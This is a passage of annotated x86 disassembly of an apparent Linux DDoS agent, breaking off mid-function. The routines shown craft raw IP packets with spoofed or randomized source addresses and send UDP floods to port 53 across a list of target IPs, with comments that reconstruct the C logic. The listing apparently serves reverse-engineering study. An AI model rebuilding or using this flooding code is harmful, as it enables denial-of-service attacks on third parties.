陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8048F10: ; CODE XREF: broadcast_packet+13j push edi mov edx, [ebp+data] push edx push eax push offset dataptr call send_packet loc_8048F20: ; CODE XREF: broadcast_packet+40j mov eax, 1 lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn broadcast_packet endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8048F30 proc near var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push ebx mov edx, [ebp+arg_4] mov ebx, [ebp+arg_0] xor ecx, ecx mov [ebp+var_2], 0 cmp edx, 1 jle short loc_8048F5C lea esi, [esi] loc_8048F4C: ; CODE XREF: sub_8048F30+2Aj movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_8048F4C loc_8048F5C: ; CODE XREF: sub_8048F30+18j cmp edx, 1 jnz short loc_8048F6C mov al, [ebx] mov byte ptr [ebp+var_2], al movzx eax, [ebp+var_2] add ecx, eax loc_8048F6C: ; CODE XREF: sub_8048F30+2Fj mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp+var_2], ax and eax, 0FFFFh mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_8048F30 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden send_packet proc near ; CODE XREF: broadcast_packet+31p ; broadcast_packet+4Fp var_50 = byte ptr -50h sockfd = dword ptr -44h datahdr = dword ptr -40h iphdr = dword ptr -3Ch data = dword ptr -38h var_32 = word ptr -32h tmpbuf = byte ptr -30h addr = byte ptr -10h srcaddr = dword ptr 8 dstaddr = dword ptr 0Ch out = dword ptr 10h outlen = dword ptr 14h push ebp mov ebp, esp sub esp, 44h push edi push esi push ebx mov ebx, [ebp+dstaddr] push 0FFh ; proto = FF push 3 ; raw push 2 ; inet call socket ; socket(PF_INET, SOCK_RAW, 0xFF) mov [ebp+sockfd], eax add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_8048FCE mov eax, [ebp+outlen] add eax, 17h push eax call malloc ; malloc(outlen + 23) mov esi, eax add esp, 4 test esi, esi jnz short loc_8048FD8 loc_8048FCE: ; CODE XREF: send_packet+23j xor eax, eax jmp loc_804912C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8048FD8: ; CODE XREF: send_packet+38j mov [ebp+iphdr], esi lea edi, [esi+14h] mov [ebp+datahdr], edi lea edi, [esi+16h] mov [ebp+data], edi mov edi, [ebp+srcaddr] mov al, [edi] mov [esi+0Ch], al mov al, [edi+1] mov [esi+0Dh], al mov al, [edi+2] mov [esi+0Eh], al mov al, [edi+3] mov [esi+0Fh], al mov al, [ebx] mov [esi+10h], al mov al, [ebx+1] mov [esi+11h], al mov al, [ebx+2] mov [esi+12h], al mov al, [ebx+3] mov [esi+13h], al movzx eax, byte ptr [ebx+3] push eax movzx eax, byte ptr [ebx+2] push eax movzx eax, byte ptr [ebx+1] push eax movzx eax, byte ptr [ebx] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea ebx, [ebp+tmpbuf] push ebx call sprintf push ebx call get_haddr mov dword ptr [ebp+addr+4], eax ; sockaddr_in.sin_addr.s_addr = get_haddr(buf) mov word ptr [ebp+addr+2], 0Ah ; sockaddr_in.sin_port = 0x0A mov word ptr [ebp+addr], 2 ; sockaddr_in.sin_family = AF_INET mov byte ptr [esi], 45h ; iphdr.version = 0x45 mov byte ptr [esi+8], 0FAh ; iphdr.ttl = 0xFA mov byte ptr [esi+9], 0Bh ; iphdr.protocol = 0x0B add esp, 1Ch mov ax, word ptr [ebp+outlen] add ax, 16h xchg al, ah mov [esi+2], ax ; iphdr.tot_len = outlen + 0x16 mov byte ptr [esi+1], 0 ; iphdr.tos = 0 call random xchg al, ah mov [esi+4], ax ; iphdr.id = random() mov word ptr [esi+6], 0 ; iphdr.frag_off = 0 mov word ptr [esi+0Ah], 0 ; iphdr.check = 0 mov edx, 14h ; sizeof(iphdr) mov ecx, esi xor ebx, ebx mov [ebp+var_32], 0 loc_8049094: ; CODE XREF: send_packet+10Ej movzx eax, word ptr [ecx] add ebx, eax add ecx, 2 ; ecx += 2 add edx, 0FFFFFFFEh ; edx -= 2 cmp edx, 1 jg short loc_8049094 ; if (edx > 1) jnz short loc_80490B1 ; if (edx != 1) mov al, [ecx] mov byte ptr [ebp+var_32], al movzx eax, [ebp+var_32] add ebx, eax loc_80490B1: ; CODE XREF: send_packet+110j mov edx, ebx sar edx, 10h movzx eax, bx lea ebx, [eax+edx] mov eax, ebx sar eax, 10h add ebx, eax mov eax, ebx not ax mov [ebp+var_32], ax mov edi, [ebp+iphdr] mov [edi+0Ah], ax mov edi, [ebp+datahdr] mov byte ptr [edi], 3 mov edi, [ebp+outlen] push edi ; outlen mov edi, [ebp+out] push edi ; out mov edi, [ebp+data] push edi ; data call memcpy ; memcpy(data, out, outlen) add esp, 0Ch push 10h ; sizeof(addr) lea eax, [ebp+addr] push eax ; &addr push 0 ; 0 mov eax, [ebp+outlen] add eax, 16h push eax ; arg_C + sizeof(datahdr) push esi ; iphdr mov edi, [ebp+sockfd] push edi call sendto ; sendto(sockfd, iphdr, outlen + 0x16, 0, &addr, sizeof(addr)) add esp, 18h cmp eax, 0FFFFFFFFh jnz short loc_8049118 push esi call free ; free(iphdr) xor eax, eax ; return 0 jmp short loc_804912C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8049118: ; CODE XREF: send_packet+178j mov edi, [ebp+sockfd] push edi call close ; close(sockfd) push esi call free ; free(iphdr) mov eax, 1 ; return 1 loc_804912C: ; CODE XREF: send_packet+3Cj ; send_packet+182j lea esp, [ebp+var_50] pop ebx pop esi pop edi mov esp, ebp pop ebp retn send_packet endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden get_haddr proc near ; CODE XREF: send_packet+A6p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call gethostbyname mov ecx, eax add esp, 4 test ecx, ecx jz short loc_804916C mov eax, [ecx+10h] mov edx, [eax] mov eax, [ecx+0Ch] push eax push edx push offset dword_80792BC call memcpy mov eax, ds:dword_80792BC mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804916C: ; CODE XREF: get_haddr+13j xor eax, eax mov esp, ebp pop ebp retn get_haddr endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8049174 proc near ; CODE XREF: main+684p main+AEEp saved_regs = dword ptr -680h ptr_buffer = dword ptr -674h offset = dword ptr -670h destip = dword ptr -66Ch lookup_counter = dword ptr -668h lookup_stepper = dword ptr -664h payload = dword ptr -660h udphdr = dword ptr -65Ch sockfd = dword ptr -658h randomize_start = dword ptr -654h save_d = dword ptr -650h save_c = dword ptr -64Ch save_b = dword ptr -648h save_a = dword ptr -644h checksum = word ptr -63Eh ipaddr = dword ptr -63Ch buffer = byte ptr -638h dstaddr = byte ptr -228h payloads = dword ptr -218h lengths = dword ptr -24h srcaddr_a = dword ptr 8 srcaddr_b = dword ptr 0Ch srcaddr_c = dword ptr 10h srcaddr_d = dword ptr 14h lookup_step = dword ptr 18h srcport_hi = dword ptr 1Ch srcport_lo = dword ptr 20h use_srchost = dword ptr 24h srchost = dword ptr 28h push ebp ; initialize stack & preserve registers mov ebp, esp ; | sub esp, 674h ; | push edi ; | push esi ; | push ebx ; v mov bl, byte ptr [ebp+srcaddr_a] mov byte ptr [ebp+save_a], bl ; save_a = a mov bl, byte ptr [ebp+srcaddr_b] mov byte ptr [ebp+save_b], bl ; save_b = b mov bl, byte ptr [ebp+srcaddr_c] mov byte ptr [ebp+save_c], bl ; save_c = c mov bl, byte ptr [ebp+srcaddr_d] mov byte ptr [ebp+save_d], bl ; save_d = d lea edi, [ebp+lengths] mov esi, offset length_table cld mov ecx, 9 repe movsd ; memcpy(var_24, length_table, 36) mov [ebp+randomize_start], 1 lea edi, [ebp+payloads] mov esi, offset payload_table cld mov ecx, 7Dh repe movsd ; memcpy(var_218, payload_table, 500) lea esi, [ebp+buffer] ; iphdr = (struct iphdr *)buffer lea ebx, [ebp+buffer+14h] mov [ebp+udphdr], ebx ; udphdr = (struct udphdr *)(buffer + sizeof(struct iphdr)) lea ebx, [ebp+buffer+1Ch] mov [ebp+payload], ebx ; payload = buffer + sizeof(struct iphdr) + sizeof(struct udphdr) mov word ptr [ebp+dstaddr], 2 ; dstaddr.sin_family = AF_INET mov word ptr [ebp+dstaddr+2], 0 ; dstaddr.sin_port = 0 cmp [ebp+lookup_step], 0 ; if (!e) jz short loc_804920A dec [ebp+lookup_step] ; e-- loc_804920A: ; CODE XREF: sub_8049174+91j push 0FFh ; *reserved* push 3 ; SOCK_RAW push 2 ; PF_INET call socket ; socket(PF_INET, SOCK_RAW, 0xFF) mov [ebp+sockfd], eax add esp, 0Ch test eax, eax ; if (!sockfd) jle bail_out ; { child_pid = 0; return 0; } mov [ebp+lookup_stepper], 0 ; var_664 = 0 mov [ebp+lookup_counter], 0 ; var_668 = 0 push 400h push 0 push esi call memset ; memset(buffer, 0, sizeof(buffer)) /* sizeof(buffer) == 1024 */ add esp, 0Ch db 8Dh,76h,0 ; lea esi, [esi+0] outer_loop: ; CODE XREF: sub_8049174+140j ; sub_8049174+3CDj xor edi, edi cmp [ebp+use_srchost], 0 jz short loc_80492B2 cmp [ebp+lookup_counter], 0 jg short loc_80492B2 mov ebx, [ebp+srchost] push ebx call gethostbyname mov edx, eax add esp, 4 test edx, edx jnz short loc_8049288 push 258h call sleep mov edi, 1 add esp, 4 jmp short loc_80492B2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8049288: ; CODE XREF: sub_8049174+FDj push 4 lea eax, [ebp+ipaddr] push eax mov eax, [edx+10h] mov eax, [eax] push eax call bcopy mov eax, [ebp+ipaddr] mov [esi+0Ch], eax mov [ebp+lookup_counter], 9C40h add esp, 0Ch loc_80492B2: ; CODE XREF: sub_8049174+E2j ; sub_8049174+EBj ... test edi, edi jnz short outer_loop xor edi, edi mov [ebp+offset], 0 lea esi, [esi] inner_loop: ; CODE XREF: sub_8049174+3C7j cmp [ebp+randomize_start], 1 jnz short loc_80492E8 mov [ebp+randomize_start], 0 call __random mov ebx, 8000 cdq idiv ebx jmp short loc_80492EA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh ; db 36h ; 6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80492E8: ; CODE XREF: sub_8049174+157j xor edx, edx loc_80492EA: ; CODE XREF: sub_8049174+170j cmp iptable[edx*4], 0 jz loc_8049530 lea edx, ds:806D22Ch[edx*4] mov [ebp+destip], edx db 8Dh,76h,0 ; lea esi, [esi+0] loc_8049308: ; CODE XREF: sub_8049174+3B6j mov ebx, [ebp+destip] mov eax, [ebx] mov dword ptr [ebp+dstaddr+4], eax ; dstaddr.sin_addr.s_addr = *var_66C mov ebx, [ebp+offset] lea edx, [ebp+ebx+payloads] mov eax, [ebp+edi*4+lengths] push eax ; var_24 + edi * 4 push edx ; var_218 + var_670 mov ebx, [ebp+payload] push ebx ; payload call memcpy ; memcpy(payload, var_218 + var_670, var_24 + edi * 4) add esp, 0Ch call __random mov ebx, 255 cdq idiv ebx mov ebx, [ebp+payload] mov [ebx], dl ; payload[0] = random() % 255 call __random mov ebx, 255 cdq idiv ebx mov ebx, [ebp+payload] mov [ebx+1], dl ; payload[1] = random() % 255 cmp [ebp+srcport_hi], 0 jnz short loc_8049380 cmp [ebp+srcport_lo], 0 jnz short loc_8049380 call __random mov ebx, 30000 cdq idiv ebx mov eax, edx jmp short loc_804938A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8049380: ; CODE XREF: sub_8049174+1F3j ; sub_8049174+1F9j mov eax, [ebp+srcport_hi] shl eax, 8 add ax, word ptr [ebp+srcport_lo] loc_804938A: ; CODE XREF: sub_8049174+20Aj xchg al, ah mov ebx, [ebp+udphdr] ; udphdr->source mov [ebx], ax mov ebx, [ebp+udphdr] ; udphdr->dest mov word ptr [ebx+2], 3500h mov ax, word ptr [ebp+edi*4+lengths] add ax, 8 xchg al, ah mov [ebx+4], ax ; udphdr->len mov word ptr [ebx+6], 0 ; udphdr->check cmp [ebp+use_srchost], 0 jnz short loc_80493EC mov bl, byte ptr [ebp+save_a] mov [ebp+buffer+0Ch], bl mov bl, byte ptr [ebp+save_b] mov [ebp+buffer+0Dh], bl mov bl, byte ptr [ebp+save_c] mov [ebp+buffer+0Eh], bl mov bl, byte ptr [ebp+save_d] mov [ebp+buffer+0Fh], bl loc_80493EC: ; CODE XREF: sub_8049174+246j mov ebx, [ebp+destip] mov eax, [ebx] mov [esi+10h], eax mov byte ptr [esi], 45h call __random mov ebx, 130 cdq idiv ebx add dl, 120 mov [esi+8], dl call __random mov ebx, 255 cdq idiv ebx mov [esi+4], dx mov byte ptr [esi+9], 11h mov word ptr [esi+6], 0 mov ax, word ptr [ebp+edi*4+lengths] add ax, 1Ch xchg al, ah mov [esi+2], ax mov word ptr [esi+0Ah], 0 mov edx, 14h lea ebx, [ebp+buffer] mov [ebp+ptr_buffer], ebx xor ecx, ecx mov [ebp+checksum], 0 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804945C: ; CODE XREF: sub_8049174+302j mov ebx, [ebp+ptr_buffer] movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 mov [ebp+ptr_buffer], ebx add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_804945C jnz short loc_804948B mov al, [ebx] mov byte ptr [ebp+checksum], al movzx eax, [ebp+checksum] add ecx, eax loc_804948B: ; CODE XREF: sub_8049174+304j mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp+checksum], ax mov [esi+0Ah], ax push 10h ; sizeof(dstaddr) lea eax, [ebp+dstaddr] push eax ; &dstaddr push 0 ; 0 mov eax, [ebp+edi*4+lengths] add eax, 1Ch push eax ; var_24 + edi * 4 + sizeof(struct iphdr) + sizeof(struct udphdr) lea eax, [ebp+buffer] push eax ; buffer mov ebx, [ebp+sockfd] push ebx ; sockfd call sendto ; sendto(sockfd, buffer, var_24 + edi * 4 + 0x1C, &dstaddr, sizeof(dstaddr)) add esp, 18h cmp [ebp+lookup_step], 0 jnz short loc_80494E8 push 300 call usleep ; usleep(300) jmp short loc_8049507 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80494E8: ; CODE XREF: sub_8049174+366j mov ebx, [ebp+lookup_step] cmp [ebp+lookup_stepper], ebx jnz short loc_8049514 push 300 call usleep ; usleep(300) mov [ebp+lookup_stepper], 0 loc_8049507: ; CODE XREF: sub_8049174+372j dec [ebp+lookup_counter] add esp, 4 jmp short loc_804951A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8049514: ; CODE XREF: sub_8049174+37Dj inc [ebp+lookup_stepper] loc_804951A: ; CODE XREF: sub_8049174+39Cj add [ebp+destip], 4 mov ebx, [ebp+destip] cmp dword ptr [ebx], 0 jnz loc_8049308 loc_8049530: ; CODE XREF: sub_8049174+17Ej add [ebp+offset], 32h inc edi ; edi++ cmp edi, 8 jle inner_loop jmp outer_loop ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 bail_out: ; CODE XREF: sub_8049174+AFj mov ds:child_pid, 0 ; child_pid = 0 xor eax, eax ; return 0 lea esp, [ebp+saved_regs] ; cleanup & restore the stack pop ebx ; | pop esi ; | pop edi ; | mov esp, ebp ; | pop ebp ; v retn sub_8049174 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8049564 proc near ; CODE XREF: main+D72p saved_regs = dword ptr -698h var_68C = dword ptr -68Ch offset = dword ptr -688h lookup_counter = dword ptr -684h lookup_stepper = dword ptr -680h payload = dword ptr -67Ch udphdr = dword ptr -678h sockfd = dword ptr -674h save_srcaddr_d = dword ptr -670h save_srcaddr_c = dword ptr -66Ch save_srcaddr_b = dword ptr -668h save_srcaddr_a = dword ptr -664h save_dstaddr_d = dword ptr -660h save_dstaddr_c = dword ptr -65Ch save_dstaddr_b = dword ptr -658h save_dstaddr_a = dword ptr -654h checksum = word ptr -64Eh ipaddr = dword ptr -64Ch dstaddr_buf = byte ptr -648h buffer = byte ptr -628h dstaddr = byte ptr -228h payloads = byte ptr -218h lengths = dword ptr -24h dstaddr_a = dword ptr 8 dstaddr_b = dword ptr 0Ch dstaddr_c = dword ptr 10h dstaddr_d = dword ptr 14h srcaddr_a = dword ptr 18h srcaddr_b = dword ptr 1Ch srcaddr_c = dword ptr 20h srcaddr_d = dword ptr 24h lookup_step = dword ptr 28h srcport_hi = dword ptr 2Ch srcport_lo = dword ptr 30h use_dsthost = dword ptr 34h dsthost = dword ptr 38h push ebp ; initialize stack & preserve registers mov ebp, esp ; | sub esp, 68Ch ; | push edi ; | push esi ; | push ebx ; v mov bl, byte ptr [ebp+dstaddr_a] mov byte ptr [ebp+save_dstaddr_a], bl ; save_dstaddr_a = dstaddr_a mov bl, byte ptr [ebp+dstaddr_b] mov byte ptr [ebp+save_dstaddr_b], bl ; save_dstaddr_b = dstaddr_b mov bl, byte ptr [ebp+dstaddr_c] mov byte ptr [ebp+save_dstaddr_c], bl ; save_dstaddr_c = dstaddr_c mov bl, byte ptr [ebp+dstaddr_d] mov byte ptr [ebp+save_dstaddr_d], bl ; save_dstaddr_d = dstaddr_d mov bl, byte ptr [ebp+srcaddr_a] mov byte ptr [ebp+save_srcaddr_a], bl ; save_arg_10 = arg_10 mov bl, byte ptr [ebp+srcaddr_b] mov byte ptr [ebp+save_srcaddr_b], bl ; save_arg_14 = arg_14 mov bl, byte ptr [ebp+srcaddr_c] mov byte ptr [ebp+save_srcaddr_c], bl ; save_arg_18 = arg_18 mov bl, byte ptr [ebp+srcaddr_d] mov byte ptr [ebp+save_srcaddr_d], bl ; save_arg_1C = arg_1C lea edi, [ebp+lengths] mov esi, offset length_table cld mov ecx, 9 repe movsd ; memcpy(lengths, length_table, sizeof(length_table)) lea edi, [ebp+payloads] mov esi, offset payload_table cld mov ecx, 7Dh repe movsd ; memcpy(payloads, payload_table, sizeof(payload_table)) lea edi, [ebp+buffer] ; iphdr = (struct iphdr *)buffer lea ebx, [ebp+buffer+14h] mov [ebp+udphdr], ebx ; udphdr = (struct udphdr *)(buffer + sizeof(struct iphdr)) lea ebx, [ebp+buffer+1Ch] mov [ebp+payload], ebx ; payload = buffer + sizeof(struct iphdr) + sizeof(struct udphdr) mov word ptr [ebp+dstaddr], 2 ; dstaddr.sin_family = AF_INET mov word ptr [ebp+dstaddr+2], 0 ; dstaddr.sin_port = 0 cmp [ebp+use_dsthost], 0 jnz short loc_8049645 movzx eax, byte ptr [ebp+save_dstaddr_d] push eax ; save_dstaddr_d movzx eax, byte ptr [ebp+save_dstaddr_c] push eax ; save_dstaddr_c movzx eax, byte ptr [ebp+save_dstaddr_b] push eax ; save_dstaddr_b movzx eax, byte ptr [ebp+save_dstaddr_a] push eax ; save_dstaddr_a push offset aD_D_D_D ; "%d.%d.%d.%d" lea eax, [ebp+dstaddr_buf] push eax ; dstaddr_buf call sprintf ; sprintf(dstaddr_buf, "%d.%d.%d.%d", save_dstaddr_a, save_dstaddr_b, save_dstaddr_c, save_dstaddr_d) add esp, 18h loc_8049645: ; CODE XREF: sub_8049564+ABj cmp [ebp+lookup_step], 0 jz short loc_804964E dec [ebp+lookup_step] loc_804964E: ; CODE XREF: sub_8049564+E5j push 0FFh ; *reserved* push 3 ; SOCK_RAW push 2 ; PF_INET call socket ; socket(PF_INET, SOCK_RAW, 0xFF) mov [ebp+sockfd], eax add esp, 0Ch test eax, eax jle bail_out mov [ebp+lookup_stepper], 0 ; lookup_stepper = 0 mov [ebp+lookup_counter], 0 ; lookup_counter = 0 push 400h push 0 push edi call memset ; memset(buffer, 0, sizeof(buffer)) add esp, 0Ch db 8Dh,76h,0 ; lea esi, [esi+0] outer_loop: ; CODE XREF: sub_8049564+19Aj ; sub_8049564+46Fj xor esi, esi cmp [ebp+use_dsthost], 0 jz short loc_80496FC cmp [ebp+lookup_counter], 0 jg short loc_80496FC mov ebx, [ebp+dsthost] push ebx call gethostbyname ; gethostbyname(dsthost) mov edx, eax add esp, 4 test edx, edx jnz short loc_80496CC push 600 call sleep ; sleep(600) mov esi, 1 add esp, 4 jmp short loc_80496FC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80496CC: ; CODE XREF: sub_8049564+151j push 4 ; 4 lea eax, [ebp+ipaddr] push eax ; &ipaddr mov eax, [edx+10h] mov eax, [eax] push eax ; he->h_addr (he->h_addr_list[0]) call bcopy ; bcopy(he->h_addr, &ipaddr, 4) mov eax, [ebp+ipaddr] mov [edi+10h], eax ; iphdr->daddr = ipaddr mov dword ptr [ebp+dstaddr+4], eax ; dstaddr.sin_addr.s_addr = ipaddr; mov [ebp+lookup_counter], 40000 add esp, 0Ch loc_80496FC: ; CODE XREF: sub_8049564+136j ; sub_8049564+13Fj ... test esi, esi jnz short outer_loop xor esi, esi mov [ebp+offset], ebp inner_loop: ; CODE XREF: sub_8049564+469j cmp [ebp+use_dsthost], 0 jnz short loc_8049723 lea eax, [ebp+dstaddr_buf] push eax call inet_addr ; inet_addr(dstaddr_buf) mov dword ptr [ebp+dstaddr+4], eax ; dstaddr.sin_addr.s_addr = inet_addr(dstaddr_buf) add esp, 4 loc_8049723: ; CODE XREF: sub_8049564+1A8j mov edx, [ebp+offset] add edx, -218h mov eax, [ebp+esi*4+lengths] push eax ; lengths[0] push edx ; payloads mov ebx, [ebp+payload] push ebx ; payload call memcpy ; memcpy(payload, payloads, lengths[0]) add esp, 0Ch call __random mov ebx, 0FFh cdq idiv ebx mov ebx, [ebp+payload] mov [ebx], dl ; payload[0] = random() % 255 call __random mov ebx, 0FFh cdq idiv ebx mov ebx, [ebp+payload] mov [ebx+1], dl ; payload[1] = random() % 255 cmp [ebp+srcport_hi], 0 jnz short loc_804978C cmp [ebp+srcport_lo], 0 jnz short loc_804978C call __random mov ebx, 30000 cdq idiv ebx mov eax, edx jmp short loc_8049796 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804978C: ; CODE XREF: sub_8049564+20Fj ; sub_8049564+215j mov eax, [ebp+srcport_hi] shl eax, 8 add ax, word ptr [ebp+srcport_lo] loc_8049796: ; CODE XREF: sub_8049564+226j xchg al, ah mov ebx, [ebp+udphdr] mov [ebx], ax mov ebx, [ebp+udphdr] mov word ptr [ebx+2], 3500h mov ax, word ptr [ebp+esi*4+lengths] add ax, 8 xchg al, ah mov [ebx+4], ax mov word ptr [ebx+6], 0 cmp byte ptr [ebp+save_srcaddr_a], 0 jnz short loc_804983C cmp byte ptr [ebp+save_srcaddr_b], 0 jnz short loc_804983C cmp byte ptr [ebp+save_srcaddr_c], 0 jnz short loc_804983C cmp byte ptr [ebp+save_srcaddr_d], 0 jnz short loc_804983C call __random mov dl, al cmp dl, 0FFh setnb al add dl, al mov [ebp+buffer+0Ch], dl call __random mov dl, al cmp dl, 0FFh setnb al add dl, al mov [ebp+buffer+0Dh], dl call __random mov dl, al cmp dl, 0FFh setnb al add dl, al mov [ebp+buffer+0Eh], dl call __random mov dl, al cmp dl, 0FFh setnb al add dl, al mov [ebp+buffer+0Fh], dl jmp short loc_804986C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804983C: ; CODE XREF: sub_8049564+265j ; sub_8049564+26Ej ... mov bl, byte ptr [ebp+save_srcaddr_a] mov [ebp+buffer+0Ch], bl mov bl, byte ptr [ebp+save_srcaddr_b] mov [ebp+buffer+0Dh], bl mov bl, byte ptr [ebp+save_srcaddr_c] mov [ebp+buffer+0Eh], bl mov bl, byte ptr [ebp+save_srcaddr_d] mov [ebp+buffer+0Fh], bl loc_804986C: ; CODE XREF: sub_8049564+2D6j cmp [ebp+use_dsthost], 0 jnz short loc_80498A2 mov bl, byte ptr [ebp+save_dstaddr_a] mov [ebp+buffer+10h], bl mov bl, byte ptr [ebp+save_dstaddr_b] mov [ebp+buffer+11h], bl mov bl, byte ptr [ebp+save_dstaddr_c] mov [ebp+buffer+12h], bl mov bl, byte ptr [ebp+save_dstaddr_d] mov [ebp+buffer+13h], bl loc_80498A2: ; CODE XREF: sub_8049564+30Cj mov byte ptr [edi], 45h call __random mov ebx, 130 cdq idiv ebx add dl, 120 mov [edi+8], dl call __random mov ebx, 0FFh cdq idiv ebx mov [edi+4], dx mov byte ptr [edi+9], 11h mov word ptr [edi+6], 0 mov ax, word ptr [ebp+esi*4+lengths] add ax, 1Ch xchg al, ah mov [edi+2], ax mov word ptr [edi+0Ah], 0 mov edx, 14h ; x = sizeof(struct iphdr) lea ebx, [ebp+buffer] mov [ebp+var_68C], ebx xor ecx, ecx mov [ebp+checksum], 0 loc_8049904: ; CODE XREF: sub_8049564+3BAj mov ebx, [ebp+var_68C] movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 mov [ebp+var_68C], ebx add edx, -2 cmp edx, 1 jg short loc_8049904 jnz short loc_8049933 mov al, [ebx] mov byte ptr [ebp+checksum], al movzx eax, [ebp+checksum] add ecx, eax loc_8049933: ; CODE XREF: sub_8049564+3BCj mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp+checksum], ax mov [edi+0Ah], ax push 10h lea eax, [ebp+dstaddr] push eax push 0 mov eax, [ebp+esi*4+lengths] add eax, 1Ch push eax lea eax, [ebp+buffer] push eax mov ebx, [ebp+sockfd] push ebx call sendto add esp, 18h cmp [ebp+lookup_step], 0 jnz short loc_8049990 push 12Ch call usleep jmp short loc_80499AF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8049990: 